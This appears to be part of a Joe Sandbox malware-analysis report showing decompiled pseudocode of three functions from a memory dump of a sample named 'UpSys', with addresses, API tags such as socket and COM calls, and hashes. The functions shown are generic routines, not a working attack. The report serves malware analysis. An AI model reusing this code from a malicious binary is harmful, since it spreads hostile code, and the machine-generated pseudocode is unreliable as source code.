				 *(_t160 + 0x20) =  *(_t160 + 0x20) & 0x00000000;
				 *(_t160 + 8) =  *(_t160 + 8) & 0x00000000;
				_t225 = __rdx;
				_t188 = __rcx;
				if (__rcx != 0) goto 0x4001c68b;
				E0000000114001EAE4(__rcx, _t160);
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				 *_t160 = 0x16;
				E0000000114001EA14(_t160, __rcx, __rcx, __rdx, _t227, _t228, __r8);
				goto 0x4001c918;
				r8d = 0x24;
				E00000001140017520(0x16, 0, 0xff, _t190, _t208, _t232);
				if (_t225 == 0) goto 0x4001c663;
				if ( *_t225 >= 0) goto 0x4001c6b4;
				E0000000114001EAE4( *_t225, _t160);
				 *_t160 = 0x16;
				goto 0x4001c684;
				if ( *_t225 - 0x93406fff > 0) goto 0x4001c6a6;
				E00000001140027180();
				if (E000000011400274B8(0x93406fff, _t188,  &_a24, _t208, _t227, _t228, _t232) == 0) goto 0x4001c6eb;
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001E8EC(0, _t208, _t232);
				if (E000000011400274F8(0x93406fff, _t188,  &_a32, _t208, _t227, _t228, _t232) == 0) goto 0x4001c70e;
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001E8EC(0, _t208, _t232);
				if (E00000001140027538(0x93406fff, _t188,  &_a8, _t208, _t227, _t228, _t232) == 0) goto 0x4001c731;
				_v40 = _v40 & 0x00000000;
				r9d = 0;
				r8d = 0;
				E0000000114001E8EC(0, _t208, _t232);
				_t194 =  *_t225;
				if (_t194 - 0x3f480 <= 0) goto 0x4001c7a4;
				_v24 = _t194 - _a8;
				_t92 = E000000011400271EC(_a8, _t188, _t188,  &_v24, _t225, _t227, _t228, _t232, _t248);
				if (_t92 != 0) goto 0x4001c918;
				if (_a24 == _t92) goto 0x4001c916;
				if (E000000011400271BC(_t188) == 0) goto 0x4001c916;
				_t163 = _a32;
				_v24 = _v24 - _t163;
				if (E000000011400271EC(_t163, _t188, _t188,  &_v24, _t225, _t227, _t228, _t232, _t248) != 0) goto 0x4001c918;
				_t188[8] = 1;
				goto 0x4001c916;
				_t211 = _t225;
				_t95 = E000000011400271EC(_t163, _t188, _t188, _t211, _t225, _t227, _t228, _t232, _t248);
				if (_t95 != 0) goto 0x4001c918;
				if (_a24 == _t95) goto 0x4001c7de;
				if (E000000011400271BC(_t188) == 0) goto 0x4001c7de;
				_t119 = _a32;
				_t188[8] = 1;
				goto 0x4001c7e3;
				_t202 =  *_t188 - _a8;
				_t100 = _t163 * _t202;
				_t215 = ((_t211 + _t202 >> 5) + (_t211 + _t202 >> 5 >> 0x3f)) * 0x3c;
				 *_t188 = _t100;
				if (_t100 >= 0) goto 0x4001c823;
				_t101 = _t100 + 0x3c;
				_t203 = _t202 - 0x3c;
				 *_t188 = _t101;
				_t245 = (_t203 + _t215 >> 5) + (_t203 + _t215 >> 5 >> 0x3f) + _t188[1];
				_t219 = ((_t215 + _t245 >> 5) + (_t215 + _t245 >> 5 >> 0x3f)) * 0x3c;
				_t188[1] = _t119;
				if (_t119 >= 0) goto 0x4001c874;
				_t246 = _t245 - 0x3c;
				_t188[1] = _t119 + 0x3c;
				_t237 = (_t246 + _t219 >> 5) + (_t246 + _t219 >> 5 >> 0x3f) + _t188[2];
				_t133 = _t101 * _t203 * _t245 * _t246 * _t237 >> 0x20;
				_t223 = _t237 - ((_t219 >> 2) + (_t219 >> 2 >> 0x3f) + ((_t219 >> 2) + (_t219 >> 2 >> 0x3f)) * 2 << 3);
				_t188[2] = _t133;
				if (_t133 >= 0) goto 0x4001c8d0;
				_t188[2] = _t223 + 0x18;
				_t240 = _t223 >> 2;
				_t186 = _t240 >> 0x3f;
				_t241 = _t240 + _t186;
				if (_t241 <= 0) goto 0x4001c923;
				_t122 = _t241 + _t186;
				_t188[3] = _t188[3] + r8d;
				_t188[6] = _t241 + _t186 - (((0x92492493 * (_t241 + _t186) >> 0x20) + _t122 >> 2) + ((0x92492493 * (_t241 + _t186) >> 0x20) + _t122 >> 2 >> 0x1f)) * 7;
				_t188[7] = _t188[7] + r8d;
				return 0;
			}

































                                                                                                                                                                                                        0x14001c640
                                                                                                                                                                                                        0x14001c640
                                                                                                                                                                                                        0x14001c640
                                                                                                                                                                                                        0x14001c640
                                                                                                                                                                                                        0x14001c643
                                                                                                                                                                                                        0x14001c64c
                                                                                                                                                                                                        0x14001c650
                                                                                                                                                                                                        0x14001c654
                                                                                                                                                                                                        0x14001c658
                                                                                                                                                                                                        0x14001c65b
                                                                                                                                                                                                        0x14001c661
                                                                                                                                                                                                        0x14001c663
                                                                                                                                                                                                        0x14001c668
                                                                                                                                                                                                        0x14001c673
                                                                                                                                                                                                        0x14001c676
                                                                                                                                                                                                        0x14001c67d
                                                                                                                                                                                                        0x14001c67f
                                                                                                                                                                                                        0x14001c686
                                                                                                                                                                                                        0x14001c690
                                                                                                                                                                                                        0x14001c696
                                                                                                                                                                                                        0x14001c69e
                                                                                                                                                                                                        0x14001c6a4
                                                                                                                                                                                                        0x14001c6a6
                                                                                                                                                                                                        0x14001c6b0
                                                                                                                                                                                                        0x14001c6b2
                                                                                                                                                                                                        0x14001c6c1
                                                                                                                                                                                                        0x14001c6c3
                                                                                                                                                                                                        0x14001c6d4
                                                                                                                                                                                                        0x14001c6d6
                                                                                                                                                                                                        0x14001c6dc
                                                                                                                                                                                                        0x14001c6df
                                                                                                                                                                                                        0x14001c6e6
                                                                                                                                                                                                        0x14001c6f7
                                                                                                                                                                                                        0x14001c6f9
                                                                                                                                                                                                        0x14001c6ff
                                                                                                                                                                                                        0x14001c702
                                                                                                                                                                                                        0x14001c709
                                                                                                                                                                                                        0x14001c71a
                                                                                                                                                                                                        0x14001c71c
                                                                                                                                                                                                        0x14001c722
                                                                                                                                                                                                        0x14001c725
                                                                                                                                                                                                        0x14001c72c
                                                                                                                                                                                                        0x14001c731
                                                                                                                                                                                                        0x14001c73b
                                                                                                                                                                                                        0x14001c74a
                                                                                                                                                                                                        0x14001c752
                                                                                                                                                                                                        0x14001c759
                                                                                                                                                                                                        0x14001c763
                                                                                                                                                                                                        0x14001c773
                                                                                                                                                                                                        0x14001c779
                                                                                                                                                                                                        0x14001c786
                                                                                                                                                                                                        0x14001c792
                                                                                                                                                                                                        0x14001c798
                                                                                                                                                                                                        0x14001c79f
                                                                                                                                                                                                        0x14001c7a4
                                                                                                                                                                                                        0x14001c7aa
                                                                                                                                                                                                        0x14001c7b1
                                                                                                                                                                                                        0x14001c7bb
                                                                                                                                                                                                        0x14001c7c7
                                                                                                                                                                                                        0x14001c7cd
                                                                                                                                                                                                        0x14001c7d1
                                                                                                                                                                                                        0x14001c7dc
                                                                                                                                                                                                        0x14001c7f0
                                                                                                                                                                                                        0x14001c7f6
                                                                                                                                                                                                        0x14001c80d
                                                                                                                                                                                                        0x14001c814
                                                                                                                                                                                                        0x14001c818
                                                                                                                                                                                                        0x14001c81a
                                                                                                                                                                                                        0x14001c81d
                                                                                                                                                                                                        0x14001c821
                                                                                                                                                                                                        0x14001c83f
                                                                                                                                                                                                        0x14001c85c
                                                                                                                                                                                                        0x14001c863
                                                                                                                                                                                                        0x14001c868
                                                                                                                                                                                                        0x14001c86d
                                                                                                                                                                                                        0x14001c871
                                                                                                                                                                                                        0x14001c89a
                                                                                                                                                                                                        0x14001c8a0
                                                                                                                                                                                                        0x14001c8bc
                                                                                                                                                                                                        0x14001c8bf
                                                                                                                                                                                                        0x14001c8c4
                                                                                                                                                                                                        0x14001c8cd
                                                                                                                                                                                                        0x14001c8d9
                                                                                                                                                                                                        0x14001c8e0
                                                                                                                                                                                                        0x14001c8e4
                                                                                                                                                                                                        0x14001c8ea
                                                                                                                                                                                                        0x14001c8ef
                                                                                                                                                                                                        0x14001c90b
                                                                                                                                                                                                        0x14001c90f
                                                                                                                                                                                                        0x14001c912
                                                                                                                                                                                                        0x14001c922

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$_isindst$DecodePointer__tzset_lock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2552603377-0
                                                                                                                                                                                                        • Opcode ID: 071f561bae7cc8474cf669b3593d463ecc7fb879331d28af369d9b774022670c
                                                                                                                                                                                                        • Instruction ID: 3577044103a77e93f7c389537ec10f9508414fcf95f56ffc8db55eb620b53366
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 071f561bae7cc8474cf669b3593d463ecc7fb879331d28af369d9b774022670c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D89128B2B1074547EB19DF2AD856BA97395E7987C4F048029FB098FBA9EB3DC500CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008FAD0 Relevance: 7.7, APIs: 5, Instructions: 196comCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 59%
                                                                                                                                                                                                        			E0000000114008FAD0(void* __ecx, void* __edx, void* __esi, long long __rbx, void* __rcx, void* __rdx, long long __rbp, void* __r8, void* __r9, void* __r10, long long _a8, char _a16, long long _a24, char _a32) {
				void* _v24;
				char _v56;
				void* _v72;
				char _v104;
				char _v136;
				void* _v152;
				char _v160;
				intOrPtr* _v168;
				signed int _v176;
				signed long long _v184;
				char _v200;
				void* __rdi;
				void* __rsi;
				void* _t68;
				void* _t79;
				void* _t80;
				void* _t89;
				void* _t90;
				void* _t92;
				void* _t106;
				intOrPtr* _t132;
				intOrPtr _t136;
				void* _t199;
				intOrPtr _t200;
				void* _t202;
				void* _t213;
				void* _t216;
				intOrPtr* _t217;
				void* _t219;

				_t216 = __r10;
				_t213 = __r9;
				_t106 = __edx;
				_a8 = __rbx;
				_a24 = __rbp;
				_t132 =  *((intOrPtr*)(__rdx + 8));
				_t200 =  *((intOrPtr*)(__rdx + 0x10));
				_t199 = __rcx;
				_t202 = __r8;
				_t219 = __rdx;
				E00000001140062190(_t132,  *_t132);
				_t140 = _t132;
				E0000000114000FD50(_t132, _t132,  &_v136);
				r8d = "\\"; // 0x5c
				_t217 =  &_a32;
				 *_t217 = r8d;
				 *((short*)(_t217 + 4)) =  *0x400a1f20 & 0x0000ffff;
				E0000000114000FD50(_t132, _t132,  &_v104);
				_v184 = _v184 & 0x00000000;
				_v176 = _v176 & 0x00000000;
				_t68 = E00000001140012D80(_t106, _t132, _t132, __r8, 0x4009b6c0, _t200, __r8);
				if ( *0x400c5f0e != 0) goto 0x4008fb69;
				__imp__OleInitialize();
				 *0x400c5f0e = 1;
				E00000001140016A44(_t68, _t140);
				if (_t132 == 0) goto 0x4008fd06;
				if (E00000001140040F30(_t132) == 0) goto 0x4008fc2b;
				E000000011400107E0(_t132,  &_v136, _t140, _t199);
				E0000000114003EA70(_t140,  &_v136,  &_a32);
				if (_t132 == 0xffffffff) goto 0x4008fc08;
				_t17 = _t132 + 1; // 0x1
				_t141 = _t17;
				E00000001140076B40(__esi, _t132, _t17,  &_v136,  &_v56, _t200, _t202, _t17);
				E00000001140002610(E00000001140004740( &_v104, _t132, _t213), _t17,  &_v56);
				E000000011400021B0(E000000011400037E0(0x5c,  &_v104, _t200),  &_v136, _t132, _t141);
				goto 0x4008fb97;
				if (E00000001140042380(_t132,  &_v136) != 0) goto 0x4008fc23;
				_t79 = E00000001140004740( &_v104,  &_v136, _t213);
				__imp__CreateBindCtx();
				if (_t79 >= 0) goto 0x4008fc43;
				goto 0x4008fd46;
				_t80 = E00000001140015220(_t132, _v104, _v104);
				_t210 =  &_a16;
				_t143 = _t132;
				__imp__MkParseDisplayName();
				0x40017be8();
				r8d = 0;
				if (_t80 < 0) goto 0x4008fcea;
				_t31 = _t210 + 9; // 0x9
				_v160 = _t31;
				_v200 =  &_v152;
				if ( *((intOrPtr*)( *_v176 + 0x40))() >= 0) goto 0x4008fcbd;
				r9d = 0;
				r8d = 0;
				_v200 = 0;
				E0000000114008CDC0(0, _t82, _t132, _t199, _t199, _t200, _t202,  &_a16, 0x40098290, _t216);
				 *((intOrPtr*)( *_v176 + 0x10))();
				if (_v152 == 0) goto 0x4008fcfc;
				E0000000114007A020(0, _t82,  *_v176, _t132, _t202,  &_v160, _t200,  &_a16, 0x40098290);
				 *((intOrPtr*)( *_v152 + 0x10))();
				goto 0x4008fcfc;
				r9d = 0;
				_v200 = 0;
				E0000000114008CDC0(0, _t80, _t132, _t199, _t199, _t200, _t202,  &_a16, 0x40098290, _t216);
				goto 0x4008fdc1;
				if (_t200 != 2) goto 0x4008fd5d;
				_t136 =  *((intOrPtr*)(_t219 + 8));
				E00000001140062190(_t136,  *((intOrPtr*)(_t136 + 8)));
				_t89 = E00000001140015220(_t136, _t143, _t136);
				_t144 = _t136;
				__imp__CLSIDFromProgID();
				0x40017be8();
				if (_t89 >= 0) goto 0x4008fd5d;
				r8d = 0;
				r9d = 0;
				_v200 = r8b;
				_t90 = E0000000114008CDC0(0, _t89, _t136, _t199, _t199, _t200, _t202,  &_a16, 0x40098290, _t216);
				goto 0x4008fdc9;
				__imp__#35();
				if (_t90 < 0) goto 0x4008fc3c;
				_v160 = 9;
				_t92 =  *((intOrPtr*)( *_v168))();
				 *((intOrPtr*)( *_v168 + 0x10))();
				if (_t92 >= 0) goto 0x4008fdaf;
				goto 0x4008fd46;
				E0000000114007A020(0, _t92,  *_v168, _t136, _t202,  &_v160, _t200,  &_v152, 0x40098290);
				E00000001140002610(E00000001140002610( *((intOrPtr*)( *_v152 + 0x10))(), _t136,  &_v104), _t144,  &_v136);
				return 0;
			}
































                                                                                                                                                                                                        0x14008fad0
                                                                                                                                                                                                        0x14008fad0
                                                                                                                                                                                                        0x14008fad0
                                                                                                                                                                                                        0x14008fad0
                                                                                                                                                                                                        0x14008fad5
                                                                                                                                                                                                        0x14008fae5
                                                                                                                                                                                                        0x14008fae9
                                                                                                                                                                                                        0x14008faed
                                                                                                                                                                                                        0x14008faf3
                                                                                                                                                                                                        0x14008faf6
                                                                                                                                                                                                        0x14008faf9
                                                                                                                                                                                                        0x14008fb03
                                                                                                                                                                                                        0x14008fb06
                                                                                                                                                                                                        0x14008fb12
                                                                                                                                                                                                        0x14008fb19
                                                                                                                                                                                                        0x14008fb21
                                                                                                                                                                                                        0x14008fb24
                                                                                                                                                                                                        0x14008fb31
                                                                                                                                                                                                        0x14008fb36
                                                                                                                                                                                                        0x14008fb3c
                                                                                                                                                                                                        0x14008fb4c
                                                                                                                                                                                                        0x14008fb58
                                                                                                                                                                                                        0x14008fb5c
                                                                                                                                                                                                        0x14008fb62
                                                                                                                                                                                                        0x14008fb6c
                                                                                                                                                                                                        0x14008fb74
                                                                                                                                                                                                        0x14008fb84
                                                                                                                                                                                                        0x14008fb92
                                                                                                                                                                                                        0x14008fba4
                                                                                                                                                                                                        0x14008fbb2
                                                                                                                                                                                                        0x14008fbb4
                                                                                                                                                                                                        0x14008fbb4
                                                                                                                                                                                                        0x14008fbc3
                                                                                                                                                                                                        0x14008fbe0
                                                                                                                                                                                                        0x14008fc01
                                                                                                                                                                                                        0x14008fc06
                                                                                                                                                                                                        0x14008fc0f
                                                                                                                                                                                                        0x14008fc1e
                                                                                                                                                                                                        0x14008fc32
                                                                                                                                                                                                        0x14008fc3a
                                                                                                                                                                                                        0x14008fc3e
                                                                                                                                                                                                        0x14008fc46
                                                                                                                                                                                                        0x14008fc55
                                                                                                                                                                                                        0x14008fc60
                                                                                                                                                                                                        0x14008fc63
                                                                                                                                                                                                        0x14008fc6e
                                                                                                                                                                                                        0x14008fc73
                                                                                                                                                                                                        0x14008fc78
                                                                                                                                                                                                        0x14008fc7f
                                                                                                                                                                                                        0x14008fc88
                                                                                                                                                                                                        0x14008fc90
                                                                                                                                                                                                        0x14008fca6
                                                                                                                                                                                                        0x14008fca8
                                                                                                                                                                                                        0x14008fcab
                                                                                                                                                                                                        0x14008fcb3
                                                                                                                                                                                                        0x14008fcb8
                                                                                                                                                                                                        0x14008fcc5
                                                                                                                                                                                                        0x14008fcce
                                                                                                                                                                                                        0x14008fcd8
                                                                                                                                                                                                        0x14008fce5
                                                                                                                                                                                                        0x14008fce8
                                                                                                                                                                                                        0x14008fcea
                                                                                                                                                                                                        0x14008fcf2
                                                                                                                                                                                                        0x14008fcf7
                                                                                                                                                                                                        0x14008fd01
                                                                                                                                                                                                        0x14008fd0a
                                                                                                                                                                                                        0x14008fd0c
                                                                                                                                                                                                        0x14008fd15
                                                                                                                                                                                                        0x14008fd1d
                                                                                                                                                                                                        0x14008fd2d
                                                                                                                                                                                                        0x14008fd30
                                                                                                                                                                                                        0x14008fd3b
                                                                                                                                                                                                        0x14008fd42
                                                                                                                                                                                                        0x14008fd46
                                                                                                                                                                                                        0x14008fd49
                                                                                                                                                                                                        0x14008fd4f
                                                                                                                                                                                                        0x14008fd54
                                                                                                                                                                                                        0x14008fd5b
                                                                                                                                                                                                        0x14008fd6c
                                                                                                                                                                                                        0x14008fd74
                                                                                                                                                                                                        0x14008fd89
                                                                                                                                                                                                        0x14008fd98
                                                                                                                                                                                                        0x14008fda4
                                                                                                                                                                                                        0x14008fda9
                                                                                                                                                                                                        0x14008fdad
                                                                                                                                                                                                        0x14008fdb7
                                                                                                                                                                                                        0x14008fddb
                                                                                                                                                                                                        0x14008fdf9

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CopyVariant$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3904779488-0
                                                                                                                                                                                                        • Opcode ID: d10aae7f896704a03dffcadcba1bb983d747398a23bd5b2c4269d54f3836cca0
                                                                                                                                                                                                        • Instruction ID: 3e4e895f265f8bb229e1bc5c4b92405c5f3909dc1274572f6bd032ea354c651a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d10aae7f896704a03dffcadcba1bb983d747398a23bd5b2c4269d54f3836cca0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C2912D36214B8581EA52EB26E4543EA6761F7D9BC4F444022FF8E877A6DF79C548C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140088520 Relevance: 7.6, APIs: 5, Instructions: 136networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 40%
                                                                                                                                                                                                        			E00000001140088520(void* __edx, void* __esi, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, signed long long* __r8, void* __r9, long long _a8, long long _a16, long long _a24) {
				char _v56;
				void* __rdi;
				void* _t27;
				void* _t30;
				signed long long _t54;
				signed long long _t57;
				void* _t58;
				intOrPtr* _t63;
				signed long long* _t64;
				intOrPtr* _t65;
				signed long long* _t68;
				intOrPtr* _t69;
				intOrPtr* _t70;
				signed long long _t105;
				signed long long _t107;
				signed long long* _t109;
				intOrPtr* _t117;
				intOrPtr* _t119;
				void* _t122;

				_t118 = __r9;
				_t58 = __eflags;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t63 =  *((intOrPtr*)(__rdx + 8));
				_t119 = __rcx;
				_t109 = __r8;
				_t67 =  *_t63;
				_t54 = E00000001140010880( *((intOrPtr*)(_t63 + 8)));
				E00000001140011960(_t23,  *_t63);
				r9d = _t54;
				_t117 = _t63;
				if (E00000001140076C60(__edx, _t58,  *_t63, __rcx,  &_v56, __r8, __rbp, _t117, __r9) != 0) goto 0x40088591;
				E00000001140007A40( *_t63, __r8, __r8);
				__r8[1] = 1;
				 *__r8 = _t54;
				goto 0x400886dd;
				r8d = 0x11;
				_t8 = _t117 - 0xf; // -15
				r15d = _t8;
				0x4001665c();
				_t9 = _t122 - 1; // -16
				_t57 = _t9;
				_t10 = _t122 + 2; // -13
				r8d = _t10;
				_t27 = E00000001140012B40(_t57, __r8,  &_v56, __r8, _t117, __r9);
				_t107 = _t105 | 0xffffffffffffffff;
				if (_t63 != _t107) goto 0x40088605;
				0x4001663e();
				r8d = 0;
				_t64 =  *__rcx;
				E0000000114000FCA0(_t27, _t64,  *_t63, _t64[0] + __rcx, __r8);
				r9d = 0;
				r8d = _t57;
				E00000001140011400(0, _t67, __r8, _t107, __r8, __r9);
				_t68 = _t64;
				_t30 = E00000001140007A40(_t68, _t64, __r8);
				_t68[1] = r15d;
				 *_t68 = _t107;
				goto 0x400886dd;
				r8d = 0x10;
				0x4001666e();
				if (_t30 != _t54) goto 0x40088640;
				0x4001663e();
				r8d = 0;
				_t65 =  *_t119;
				E0000000114000FCA0(_t30, _t65, _t68,  *((intOrPtr*)(_t65 + 4)) + _t119, __r8);
				0x40016668();
				goto 0x400885de;
				r9d = 0;
				r8d = _t57;
				E00000001140011400(0, _t68, __r8, _t107, __r8, __r9);
				_t69 = _t65;
				E00000001140007A40(_t69, _t65, __r8);
				r9d = _t57;
				r8d = _t57;
				 *(_t69 + 8) = _t57;
				 *_t69 = 0x2b594d1;
				E00000001140011400(0, _t69, __r8, _t107, __r8, _t118);
				_t70 = _t65;
				E00000001140007A40(_t70, _t65, __r8);
				r9d = r15d;
				r8d = _t57;
				 *(_t70 + 8) = _t57;
				 *_t70 = r13d;
				E00000001140011960(E00000001140011400(0, _t70, __r8, _t107, __r8, _t118),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))));
				E00000001140013120(_t65, _t65, _t65, _t65);
				r9d = 3;
				r8d = _t57;
				E00000001140011960(E00000001140011400(0, _t65, _t109, _t107, _t109, _t118),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				E00000001140013120(_t65, _t65, _t65, _t65);
				return 0;
			}






















                                                                                                                                                                                                        0x140088520
                                                                                                                                                                                                        0x140088520
                                                                                                                                                                                                        0x140088520
                                                                                                                                                                                                        0x140088525
                                                                                                                                                                                                        0x14008852a
                                                                                                                                                                                                        0x14008853c
                                                                                                                                                                                                        0x140088540
                                                                                                                                                                                                        0x140088543
                                                                                                                                                                                                        0x14008854a
                                                                                                                                                                                                        0x140088558
                                                                                                                                                                                                        0x14008855a
                                                                                                                                                                                                        0x140088564
                                                                                                                                                                                                        0x14008856a
                                                                                                                                                                                                        0x140088574
                                                                                                                                                                                                        0x140088579
                                                                                                                                                                                                        0x140088587
                                                                                                                                                                                                        0x14008858a
                                                                                                                                                                                                        0x14008858c
                                                                                                                                                                                                        0x140088591
                                                                                                                                                                                                        0x140088597
                                                                                                                                                                                                        0x140088597
                                                                                                                                                                                                        0x1400885a1
                                                                                                                                                                                                        0x1400885a6
                                                                                                                                                                                                        0x1400885a6
                                                                                                                                                                                                        0x1400885aa
                                                                                                                                                                                                        0x1400885aa
                                                                                                                                                                                                        0x1400885b6
                                                                                                                                                                                                        0x1400885bb
                                                                                                                                                                                                        0x1400885c2
                                                                                                                                                                                                        0x1400885c4
                                                                                                                                                                                                        0x1400885c9
                                                                                                                                                                                                        0x1400885ce
                                                                                                                                                                                                        0x1400885d9
                                                                                                                                                                                                        0x1400885de
                                                                                                                                                                                                        0x1400885e1
                                                                                                                                                                                                        0x1400885e9
                                                                                                                                                                                                        0x1400885f1
                                                                                                                                                                                                        0x1400885f4
                                                                                                                                                                                                        0x1400885f9
                                                                                                                                                                                                        0x1400885fd
                                                                                                                                                                                                        0x140088600
                                                                                                                                                                                                        0x14008860a
                                                                                                                                                                                                        0x140088613
                                                                                                                                                                                                        0x14008861a
                                                                                                                                                                                                        0x14008861c
                                                                                                                                                                                                        0x140088621
                                                                                                                                                                                                        0x140088626
                                                                                                                                                                                                        0x140088631
                                                                                                                                                                                                        0x140088639
                                                                                                                                                                                                        0x14008863e
                                                                                                                                                                                                        0x140088640
                                                                                                                                                                                                        0x140088643
                                                                                                                                                                                                        0x14008864b
                                                                                                                                                                                                        0x140088653
                                                                                                                                                                                                        0x140088656
                                                                                                                                                                                                        0x14008865b
                                                                                                                                                                                                        0x14008865e
                                                                                                                                                                                                        0x140088666
                                                                                                                                                                                                        0x140088669
                                                                                                                                                                                                        0x14008866f
                                                                                                                                                                                                        0x140088677
                                                                                                                                                                                                        0x14008867a
                                                                                                                                                                                                        0x14008867f
                                                                                                                                                                                                        0x140088682
                                                                                                                                                                                                        0x14008868a
                                                                                                                                                                                                        0x14008868d
                                                                                                                                                                                                        0x14008869f
                                                                                                                                                                                                        0x1400886aa
                                                                                                                                                                                                        0x1400886af
                                                                                                                                                                                                        0x1400886b5
                                                                                                                                                                                                        0x1400886cd
                                                                                                                                                                                                        0x1400886d8
                                                                                                                                                                                                        0x1400886fb

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLastinet_addrsocket
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4170576061-0
                                                                                                                                                                                                        • Opcode ID: 9bb2c25c3ce346db1a2db42bafaea6f9148d0aeaa4c6d33334146a805898e01d
                                                                                                                                                                                                        • Instruction ID: 0f68a6e44a3ea66665a4f04c2b5d488c01f48c4bc95b7ab25c825d5ff9a11341
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9bb2c25c3ce346db1a2db42bafaea6f9148d0aeaa4c6d33334146a805898e01d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2641AC3270065442EA26EF27E851BEEA790B7CDFE4F548115BF594BBA7DE3AC1028740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

